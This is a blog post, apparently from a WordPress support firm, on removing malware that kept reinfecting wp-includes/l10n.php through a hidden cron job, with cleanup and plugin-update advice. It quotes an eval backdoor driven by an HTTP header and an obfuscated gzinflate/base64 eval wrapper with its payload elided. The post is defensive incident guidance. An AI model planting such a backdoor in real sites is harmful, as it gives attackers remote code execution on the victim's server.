Virus modifying l10n.php continuously

If wp-includes/l10n.php keeps getting reinfected with eval() code every minute after you clean it, the malware is running from a cron job, not a file. Check cPanel > Advanced > Cron Jobs or run crontab -l over SSH, and remove the job running obfuscated PHP. Then update outdated plugins and change all your passwords.

Modifying l10n.php Continuously

There are many kinds of malware that infect WordPress, but we recently came across a hard-to-remove one while working on a customer’s WordPress website.

This virus was somehow modifying l10n.php continuously and adding code similar to the one below, even though we cleaned l10n.php manually.

eval($_SERVER['HTTP_81SB7B3']);

Clearly this modification was triggered by something else, so we kept searching deeper.

Scan using Wordfence

Wordfence is a solid malware scanner and a good first step.

On our first scan, Wordfence managed to find more than 10 infections in various files:

  • wp-config.php
  • functions.php of the theme
  • header.php
  • a couple of files in the wp-includes folder
  • and l10n.php in wp-includes

Going over them one by one, we removed the infected code and ensured there were no more infections by scanning a few times after the initial cleanup.

For infected WordPress core files, reinstall a clean copy from Dashboard > Updates > Re-install version x.x instead of editing them line by line. Infected files can also make your site show a critical error or white screen.

l10n.php continuously gets modified

Strangely, l10n.php continued to get infected with the same eval() snippet almost every minute.

So, we thought that there was still some malware left somewhere that triggered this infection.

Scanning with the Sucuri SiteCheck tool, manually viewing WordPress core files and folders, or a database scan didn’t find anything.

It was clearly a sophisticated attack with stealth methods behind it.

Check cron jobs in cPanel

As the file modification was done on a periodic basis (every minute in our case), we suspected that this could be a cron job running on the server, and we were right!

There was a cron job set to run every minute that executed PHP with obfuscated code like this:

eval(gzinflate(base64_decode('...')));

You’ll find cron jobs in cPanel > Advanced > Cron Jobs, or over SSH with crontab -l.

Removing that cron job solved the malware infection. But what could have caused our customer to get infected through the cPanel cron jobs?

Once attackers can run PHP on your site, they can often add a cron job to your hosting account through PHP’s shell functions. That’s why the reinfection survived every file cleanup.

Vulnerable plugins

We found 2 plugins that might have caused this issue:

  1. Contact Form 7
  2. Ultimate Addons for Elementor

Both of these plugins were not updated on our customer’s WordPress website, along with several other plugins. Both had known vulnerabilities in the versions installed, and an outdated plugin is the most likely way the attacker got to run code on the site in the first place.

References for exploits

Conclusion

Hackers these days get smarter and smarter, finding ways to inject code that’s hard to find, remove, and secure the website.

Malware infections can cause brand reputation damage, loss of customer trust, and even result in penalties from search engines.

Make sure to update plugins, themes, and WordPress core to reduce security vulnerabilities, compatibility issues, and potential site crashes. After a cleanup like this, also change your hosting, FTP, database and WordPress admin passwords.

Our step-by-step guide on how to scan and remove malware from WordPress walks you through the full cleanup.

We provide malware removal service as a one-off task or included in our WordPress support packages.

If you have a hard time removing a complex malware infection, consider getting help from a WordPress expert.

About the author

Ozgur Sar Avatar